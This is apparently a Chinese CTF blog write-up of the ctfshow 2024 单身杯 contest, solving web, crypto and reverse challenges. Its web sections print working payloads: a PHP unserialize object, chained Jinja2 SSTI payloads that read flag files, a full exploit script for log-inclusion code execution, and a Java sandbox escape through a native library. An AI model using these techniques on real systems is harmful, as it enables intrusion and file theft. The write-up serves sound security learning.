目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. 签到·好玩的PHP
    2. 2.2. ezzz_ssti
    3. 2.3. ez_inject
    4. 2.4. 迷雾重重
    5. 2.5. 简单的文件上传(复现)
  3. 3. Crypto
    1. 3.1. 签到·一把梭
  4. 4. Reverse
    1. 4.1. 签到·easyRE(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 2024单身杯

2024/11/11 CTF线上赛
  |     |   总文章阅读量:

前言

官方wp:https://ctf-show.feishu.cn/docx/R6udd58bxoQGQMxFphncZq8rn5e


WEB

签到·好玩的PHP

<?php
    error_reporting(0);
highlight_file(__FILE__);

class ctfshow {
    private $d = '';
    private $s = '';
    private $b = '';
    private $ctf = '';

    public function __destruct() {
        $this->d = (string)$this->d;
        $this->s = (string)$this->s;
        $this->b = (string)$this->b;

        if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
            $dsb = $this->d.$this->s.$this->b;

            if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                    if (md5($dsb) === md5($this->ctf)) {
                        echo file_get_contents("/flag.txt");
                    }
                }
            }
        }
    }
}

unserialize($_GET["dsbctf"]); 

发现 ctf 没被转成 string,那么可以给ctf传数字

八进制转十进制比较就行

<?php
class ctfshow {
    private $d = '1';
    private $s = '0';
    private $b = '';
    private $ctf = 012;
}
$a=new ctfshow();
echo urlencode(serialize($a));

ezzz_ssti

限制长度42

参数带外绕过:

{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}

但是此时我们依旧只能控制一个参数,后者长度超了1位

参考:https://blog.csdn.net/weixin_43995419/article/details/126811287

设置多个 config 一层层带出整个payload

{{config}}
{%set x=config.update(l=lipsum)%}
{%set x=config.update(u=config.update)%}
{%set x=config.u(g=request.args.a)%}&a=__globals__
{%set x=config.u(o=lipsum[config.g].os)%}
{%set x=config.u(f=config.l[config.g])%}
{{config.f.os.popen('cat /f*').read()}}

ez_inject

image-20241111131747063

分析一下session的组成:

{'echo_message':'1','is_admin':0,'username':'1'}

我们可控的部分是 echo_message 和 username,没啥用

测试发现 /register 可以传入json

image-20241111210809381

直接打原型链污染 static 试试

image-20241111211011960

然后直接访问 static/flag 得到flag


预期解:污染key改session,在 /echo 处打ssti


迷雾重重

<?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
    public function index(Request $request)
    {
        
        return view('index/index');
    }

    public function testUnserialize(Request $request){
        if(null !== $request->get('data')){
            $data = $request->get('data');
            unserialize($data);
        }
        return "unserialize测试完毕";
    }

    public function testJson(Request $request){
        if(null !== $request->get('data')){
            $data = json_decode($request->get('data'),true);
            if(null!== $data && $data['name'] == 'guest'){
                return view('index/view', $data);
            }
        }
        return "json_decode测试完毕";
    }

    public function testSession(Request $request){
        $session = $request->session();
        $session->set('username',"guest");
        $data = $session->get('username');
        return "session测试完毕 username: ".$data;

    }

    public function testException(Request $request){
        if(null != $request->get('data')){
            $data = $request->get('data');
            throw new BusinessException("业务异常 ".$data,3000);
        }
        return "exception测试完毕";
    }
}

给了个unserialize,json模板渲染,session 和一个抛出异常

观察模板渲染的配置:

public function testJson(Request $request){
    if(null !== $request->get('data')){
        $data = json_decode($request->get('data'),true);
        if(null!== $data && $data['name'] == 'guest'){
            return view('index/view', $data);
        }
    }
    return "json_decode测试完毕";
}
function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response
{
    $request = \request();
    $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
    $handler = \config($plugin ? "plugin.$plugin.view.handler" : 'view.handler');
    return new Response(200, [], $handler::render($template, $vars, $app, $plugin));
}

config/view.php

return [
    'handler' => Raw::class
];
function raw_view(string $template, array $vars = [], string $app = null): Response
{
    return new Response(200, [], Raw::render($template, $vars, $app));
}
public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
{
    $request = request();
    $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
    $configPrefix = $plugin ? "plugin.$plugin." : '';
    $viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
    $app = $app === null ? ($request->app ?? '') : $app;
    $baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
    $__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";

    if(isset($request->_view_vars)) {
        extract((array)$request->_view_vars);
    }
    extract($vars);
    ob_start();
    // Try to include php file.
    try {
        include $__template_path__;
    } catch (Throwable $e) {
        ob_end_clean();
        throw $e;
    }

    return ob_get_clean();
}

这里有变量覆盖,下面 include 可以直接包含文件,尝试直接包含 proc

image-20241111221436593


预期是包含框架日志文件

官方exp:

import requests
import time
from datetime import datetime

#注意 这里题目地址 应该https换成http
url = "http://6d2d54ba-5db3-454c-b8b4-869e514c1376.challenge.ctf.show/"

#Author: ctfshow h1xa
def get_webroot():
    print("[+] Getting webroot...")
    
    webroot = ""

    for i in range(1,300):
        r = requests.get(url=url+'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))   
        time.sleep(0.2)
        if "start.php" in r.text:
            print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
            webroot = r.text.split("start_file=")[1][:-10]
            print(f"Found webroot: {webroot}")
            break
    return webroot

def send_shell(webroot):
    #payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(webroot)
    r = requests.get(url=url+payload)
    time.sleep(1)
    if r.status_code == 500:
        print("[\033[31m*\033[0m] Shell sent successfully")
    else:
        print("Failed to send shell")

def include_shell(webroot):
    now = datetime.now()
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d"))
    r = requests.get(url=url+payload)
    time.sleep(5)
    r = requests.get(url=url+'flag.txt')
    if "ctfshow" in r.text:
        print("=================FLAG==================\n")
        print("\033[32m"+r.text+"\033[0m")
        print("=================FLAG==================\n")
        print("[\033[31m*\033[0m] Shell included successfully")
    else:
        print("Failed to include shell")

def exploit():
    webroot = get_webroot()
    send_shell(webroot)
    include_shell(webroot)

if __name__ == '__main__':
    exploit()

简单的文件上传(复现)

jar文件上传

测试发现执行jar包的逻辑是先复制后执行然后再删除这个jar包

image-20241111224718756

而且利用竞争可以访问到这个文件的内容

尝试读 ../index.php

image-20241111225209949

拿到源码:

<?php
session_start();
error_reporting(0);
$output = "";
if (isset($_GET['action'])) {
    switch ($_GET['action']) {
        case 'upload':
            upload_file();
            break;
        case 'execute': 
            $output = execute_jar();
            break;
        case 'delete':
            delete_file($_GET['file']);
            break;
        default:
            break;
    }
}

function delete_file($file) {
    $file = str_replace("..", "", $file);
    $file = str_replace("../", "", $file);
    $file = str_replace("php", "", $file);
    if(strpos($file, "uploads/") === FALSE){
        $file = "uploads/$file";
    }

    if(strpos($file, "/") === 0){
        $file = substr($file, 1);
    }
    if(substr($file, -4) == ".jar"){ 
        if (file_exists($file)) {
            unlink($file);
        }
    }
    header("Location: index.php");
    
}



function send_redirect_script_after_seconds_with_message($url,$message,$second=0) {
    die("<script language='javascript'>alert('$message');setTimeout(function(){window.location.href='$url';},$second*1000);</script>");
}

function upload_file() {
    if (isset($_FILES['file'])) {
        if(!check_file_name($_FILES['file']['name'])){
            send_redirect_script_after_seconds_with_message("index.php","Invalid file name");
        }
        $target_dir = "uploads/";
        $target_file = $target_dir . basename($_FILES["file"]["name"]);
        $uploadOk = 1;
        $FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
        if ($FileType != "jar") {
            send_redirect_script_after_seconds_with_message("index.php","Invalid file type");
            $uploadOk = 0;
        }
        if ($uploadOk == 0) {
            send_redirect_script_after_seconds_with_message("index.php","How did you get here?");
        } else {
            if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
                send_redirect_script_after_seconds_with_message("index.php","The file ". basename( $_FILES["file"]["name"]). " has been uploaded.");
            } else {
                send_redirect_script_after_seconds_with_message("index.php","Sorry, there was an error uploading your file");
            }
        } 
    } 
    
    send_redirect_script_after_seconds_with_message("index.php","No file selected");
}

function check_file_name($file_name){
    if(preg_match("/^[a-zA-Z0-9_\-\.]+$/", $file_name)){
        return true;
    }else{
        return false;
    }
}

function execute_jar() {
    if (isset($_POST['jar_name']) && file_exists("./uploads/".$_POST['jar_name'])) {
        $jar_name = $_POST['jar_name'];
        $old_name = $jar_name;
        $new_name = md5($jar_name).".jar";
        file_rename($old_name,$new_name);
        if(preg_match("/^[a-fA-F0-9]{32}\.jar$/", $new_name) && file_exists("uploads/$new_name") ){
            $output = shell_exec("/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1");
            $output = nl2br($output);
            $output = $output."<br><br>Jar file executed successfully.";
        }else{
            $output = "Invalid jar name";
        }
        
        file_rename($new_name,$old_name);
    }else{
        send_redirect_script_after_seconds_with_message("index.php","Jar file not found");
    }
    return $output;
}

function file_rename($oldname,$newname){
    if(file_exists("./uploads/".$oldname)){
        if(file_exists("./uploads/".$newname)){
            unlink("./uploads/".$newname);
        }else{
            rename("./uploads/".$oldname,"./uploads/".$newname);
        }
    }
}

?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CTFER</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }

        #layout {
            display: flex;
            flex-direction: column;
            height: 100vh;
        }

        .header {
            background-color: #333;
            color: #fff;
            padding: 20px;
            text-align: center;
        }

        .header h1 {
            font-size: 36px;
            margin: 0;
        }

        .header h2 {
            font-size: 24px;
            margin: 10px 0 0 0;
        }

        .content {
            flex: 1;
            padding: 20px;
        }

        .content h2 {
            font-size: 24px;
            margin: 20px 0 10px 0;
        }

        .content form {
            display: flex;
            flex-direction: column;
        }

        .content form input[type="file"] {
            margin-bottom: 10px;
        }

        .content form input[type="submit"] {
            background-color: #333;
            border: none;
            color: #fff;
            cursor: pointer;
            font-size: 18px;
            padding: 10px;
        }

        .content form input[type="text"] {
            margin-bottom: 10px;
            padding: 10px;
            width: 100%;
        }

        .content form input[type="submit"]:hover {
            background-color: #555;
        }

        .footer {
            background-color: #333;
            color: #fff;
            padding: 20px;
            text-align: center;
            position: absolute;
            bottom: 0;
            width: 100%;
        }

        .footer p {
            margin: 0;
        }

        .grids {
            display: grid;
            grid-template-columns: 1fr;
            grid-template-rows: auto 1fr auto;
            grid-gap: 20px;
            height: 100%;
            width: 100%;
        }

        a {
            color: #fff;
            text-decoration: none;
        }

        .file {
            margin-bottom: 10px;
            padding-bottom: 10px;
        }

        .file a {
            font-size: 18px;
            padding: 10px;
            background-color: #333;
            color: #fff;
            border-radius: 5px;
        }

        .file a:hover {
            background-color: #555;
        }
    </style>
</head>

<body>

    <div id="main" class="grids">
        <div class="header">
            <h1>Jar execute online</h1>
            <h2>Upload your jar file and execute it online</h2>
        </div>

    </div>
    <div class="content">
        <h2>Upload your jar file</h2>
        <form action="/index.php?action=upload" method="post" enctype="multipart/form-data">
            <input type="file" name="file" id="file" accept=".jar" required />
            <input type="submit" value="Upload">
        </form>
        <h2>List of uploaded files</h2>
        <?php
        $files = glob('uploads/*.jar');
        foreach ($files as $file) {
            echo "<p class='file'><a href='$file'>$file</a>&nbsp;<a href='index.php?action=delete&file=$file'>Delete</a></p>";
        }
       ?>
        <h2>Execute your jar file</h2>
        <form action="/index.php?action=execute" method="post">
            <input type="text" name="jar_name" id="jar_name" placeholder="Enter jar file name" required />
            <input type="submit" value="Execute">
        </form>
        <h2>Output</h2>
        <p>
            <?php echo $output;?>
        </p>
    </div>
    <div class="footer">
        <div class="legal pure-g">
            <div class="pure-u-1 u-sm-1-2">
                <p>©
                    <script>document.write(new Date().getFullYear())</script> CTFshow. All rights reserved.
                </p>
            </div>
            <div class="pure-u-1 u-sm-1-2">
                <p>Designed by <a href="https://ctf.show" target="_blank" noopener noreferrer>h1xa</a></p>
            </div>
        </div>
    </div>
    </div>
</body>

<html>

尝试目录穿越读其它文件,但是读不了,因为这里的读文件逻辑是 rename 文件过来然后又 rename 回去,导致没有写权限的全寄

接下来思考打java沙箱逃逸

/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1

测了下权限,没有读写命令执行,只剩个关闭jvm的权限,几种绕过方式都尝试了但是绕不过去

尝试删掉 /usr/local/bin/ctfer.policy,利用replace构造目录穿越,但是后缀锁死 .jar 了

function delete_file($file) {
    $file = str_replace("..", "", $file);
    $file = str_replace("../", "", $file);
    $file = str_replace("php", "", $file);
    if(strpos($file, "uploads/") === FALSE){
        $file = "uploads/$file";
    }

    if(strpos($file, "/") === 0){
        $file = substr($file, 1);
    }
    if(substr($file, -4) == ".jar"){ 
        if (file_exists($file)) {
            unlink($file);
        }
    }
    header("Location: index.php");
}
.php./.php./.php./.php./.php./.php./usr/local/java/jre/lib/security/policy/limited/local_policy.jar

打phar反序列化,但是没有类可以利用啊。。

那么,如果我们条件竞争90b5e0c104040820ae639c2f25f740d9.jar,是否可以实现替换 index.php 为我们的马

file_rename($old_name,$new_name);
if(preg_match("/^[a-fA-F0-9]{32}\.jar$/", $new_name) && file_exists("uploads/$new_name") ){
    $output = shell_exec("/usr/local/java/bin/java -Djava.security.manager -Djava.security.policy==/usr/local/bin/ctfer.policy -jar uploads/$new_name 2>&1");
    $output = nl2br($output);
    $output = $output."<br><br>Jar file executed successfully.";
}else{
    $output = "Invalid jar name";
}

file_rename($new_name,$old_name);

也就是说,我们要并发这几个接口

execute:重命名../index.php为90b5e0c104040820ae639c2f25f740d9.jar
delete:删除90b5e0c104040820ae639c2f25f740d9.jar
upload:上传我们的马90b5e0c104040820ae639c2f25f740d9.jar,让第二次rename替换index.php为我们的马

但是这里尝试竞争还是失败了,怎么办呢,写个真的 90b5e0c104040820ae639c2f25f740d9.jar 包 sleep 试试

upload:上传我们的90b5e0c104040820ae639c2f25f740d9.jar
execute:重命名../index.php为90b5e0c104040820ae639c2f25f740d9.jar

上面两个竞争执行,结果是把index.php删掉了


”不需要 扫描 爆破 竞争 盲注“

回过头来还是要绕 security.policy ,参考http://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8

研究了半天的沙箱逃逸,唯一没试的就是调用本地方法绕过

验一下权限

import java.io.FilePermission;
import java.lang.reflect.ReflectPermission;
import java.net.SocketPermission;
import java.security.Permission;
import java.security.SecurityPermission;
import java.util.PropertyPermission;

public class shell {
    public static void main(String[] args) throws Exception {
        SecurityManager securityManager = System.getSecurityManager();

        Permission permission = new FilePermission("/var/www/html/uploads/-", "read");
        try {
            securityManager.checkPermission(permission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查网络连接权限
        Permission netPermission = new SocketPermission("localhost:80", "connect");
        try {
            securityManager.checkPermission(netPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查运行时权限
        RuntimePermission runtimePermission = new RuntimePermission("setSecurityManager");
        try {
            securityManager.checkPermission(runtimePermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查属性访问权限
        Permission propertyPermission = new PropertyPermission("my.property", "read");
        try {
            securityManager.checkPermission(propertyPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查反射权限
        Permission reflectionPermission = new ReflectPermission("suppressAccessChecks");
        try {
            securityManager.checkPermission(reflectionPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查退出虚拟机的权限
        RuntimePermission exitVMPermission = new RuntimePermission("exitVM");
        try {
            securityManager.checkPermission(exitVMPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查设置线程上下文类加载器的权限
        RuntimePermission setContextClassLoaderPermission = new RuntimePermission("setContextClassLoader");
        try {
            securityManager.checkPermission(setContextClassLoaderPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查创建类加载器的权限
        RuntimePermission createClassLoaderPermission = new RuntimePermission("createClassLoader");
        try {
            securityManager.checkPermission(createClassLoaderPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查权限检查权限
        RuntimePermission permissionCheckPermission = new RuntimePermission("checkPermission");
        try {
            securityManager.checkPermission(permissionCheckPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查打开 URL 连接的权限
        Permission urlPermission = new SocketPermission("www.example.com:80", "connect");
        try {
            securityManager.checkPermission(urlPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查设置安全策略的权限
        Permission securityPermission = new SecurityPermission("setPolicy");
        try {
            securityManager.checkPermission(securityPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }

        // 检查加载本地库的权限
        RuntimePermission loadLibraryPermission = new RuntimePermission("loadLibrary.YourLibraryName");
        try {
            securityManager.checkPermission(loadLibraryPermission);
            System.out.println("yes");
        } catch (SecurityException e) {
            System.out.println("no");
        }
    }
}

上传 jar 包执行,发现有 loadLibrary 的权限和 uploads 目录的读取权限,说明可以打本地方法调用

依据参考文章,准备一个恶意 so 改成 jar 后缀上传,这里直接用官方提供的 CTFshowCodeManager.jar

然后构造外部 JavaEngine.jar 文件

package com.ctfshow;

public class ClassLoader {
    static {
        System.load("/var/www/html/uploads/CTFshowCodeManager.jar");
    }
    public static native String eval(String cmd);
}
package com.ctfshow;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassLoader.eval("ls /;cat /*");
    }
}

先上传恶意 so 的 jar,再执行外部 jar 即可 getshell

image-20241113135344339


Crypto

签到·一把梭

from Crypto.Util.number import *

#小鼎,24岁。网安专业old star.最近入坑ctf,想体验一把梭的感觉。于是他的朋友给他找来了cahtylin先生。cahtylin先生听闻,欣然写下此题。

falg = '?????'
m = bytes_to_long(falg)
print(m)

#什么年代了还在做低加密指数的传统RSA?我就猜出题人在100以内找个d然后模拟出e加密的。


# m =365570067986928236989573788230270407130085464313909252527513197832758480604817399268366313889131551088558394832418649150417321940578277210433329648095352247884911033780856767602238960538520312352025465812228462858158997175162265505345470937926646520732298730237509998898024691120409770049168658027104966429925920045510148612448817

# print(long_to_bytes(m))
# 得到 n 和 c

给了范围直接爆破d就行

from Crypto.Util.number import *

n = 0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f
c = 0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1

for d in range(100):
    m = pow(c, d, n)
    print(long_to_bytes(m))

flag:ctfshow{b4n_your_1_b1o0d}


Reverse

签到·easyRE(Unsolved)

package com.ctfshow;

import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.Locale;
import javax.tools.DiagnosticListener;
import javax.tools.JavaCompiler;
import javax.tools.JavaFileObject;
import javax.tools.StandardJavaFileManager;
import javax.tools.ToolProvider;

public class Application {
    public Application() {
    }

    public void run() throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String cN7sber = "D8yDSBCTF";
        byte[] bts = this.ssrd_77g("o0QlJKT2F0MExZMkE9PSI7CiAgICAgICAgU3RyaW5nQnVpbGRlciBj");
        String fcys8ss = new String(bts, StandardCharsets.UTF_8);
        JavaCompiler ckcc7sls = ToolProvider.getSystemJavaCompiler();
        StandardJavaFileManager f8bysc = ckcc7sls.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null);
        MJscysr__p maprys = new MJscysr__p(f8bysc);
        JavaFileObject f0gg = maprys.mstrs93_xxr(cN7sber, fcys8ss);
        List<JavaFileObject> clssur = Arrays.asList(f0gg);
        boolean scr7 = ckcc7sls.getTask((Writer)null, maprys, (DiagnosticListener)null, (Iterable)null, (Iterable)null, clssur).call();
        if (scr7) {
            ClassLoader cl77s = maprys.gcllsr332_newer(cN7sber, maprys.gfpr8sr());
            Class<?> cl9fy_ = cl77s.loadClass(cN7sber);
            Object insry = cl9fy_.newInstance();
            Method mdr7sfy = cl9fy_.getMethod("start");
            mdr7sfy.invoke(insry);
        }

    }

    private byte[] ssrd_77g(String ssr) {
        return Base64.getDecoder().decode("...");
    }
}

ssrd_77g base64解出来是一个类

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.*;

public class D8yDSBCTF {

    private static final String P3WSSK = "AES/ECB/PKCS5Padding";
    private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz";
    private static final String C7yyfggl = C89SYS__.toUpperCase();
    private static final String N9SSCRT = "0123456789";
    private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT;
    private static SecureRandom rf3ffc = new SecureRandom();
    public  void start() throws Exception {
        String key =  b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(1);
        String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1<<4)).get(0);
        Scanner scanner = new Scanner(System.in);
        System.out.println("please input password:");
        String i3clscwyt = scanner.nextLine();
        if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) {
            System.out.println("Login Successful");
        } else {
            System.out.println("Login Failed");
        }
    }
    private  List<String> b3f7a__0x337f2a(String a783c_7fxf__) {
        final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==";
        StringBuilder c0fybbg = new StringBuilder();
        List<String> l2crsys = new ArrayList<String>();
        char[] f117xc = f37xcrxedrd_.toCharArray();
        for (char c : f117xc) {
            c0fybbg.append((char)(((c >>> 4 ^ (c << 4) ^ (c >>> 4))) >> 4));
        }
        l2crsys.add(c0fybbg.substring(0,c0fybbg.length()-24));
        l2crsys.add(c0fybbg.substring(l2crsys.get(0).length(),c0fybbg.length()));
        return l2crsys;
    }
    public  String a98fac77f__3c2a(int length) {
        if (length < 1) throw new IllegalArgumentException("Length must be positive");

        StringBuilder s7cyscrs = new StringBuilder(length);
        for (int i = 0; i < length; i++) {
            int randomIndex = rf3ffc.nextInt(D9UUSACR.length());
            s7cyscrs.append(D9UUSACR.charAt(randomIndex));
        }
        return s7cyscrs.toString();
    }
    public  String e3c7go_to(String coysc21k, String k89csbbv) throws Exception {
        while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16) {
            k89csbbv += k89csbbv;
        }
        byte[] keyBytes = k89csbbv.substring(0, 16).getBytes(StandardCharsets.UTF_8);
        SecretKeySpec s88vfy = new SecretKeySpec(keyBytes, "AES");
        Cipher c1ppy = Cipher.getInstance(P3WSSK);
        c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy);
        byte[] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8));
        return Base64.getEncoder().encodeToString(encryptedBytes);
    }
}

观察一下核心逻辑:

String i3clscwyt = scanner.nextLine();
if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) {
    System.out.println("Login Successful");
} else {
    System.out.println("Login Failed");
}

我们的输入会在e3c7go_to进行 AES 加密,然后和 e3yfbbglsk 对比

但是还是看不懂逆向!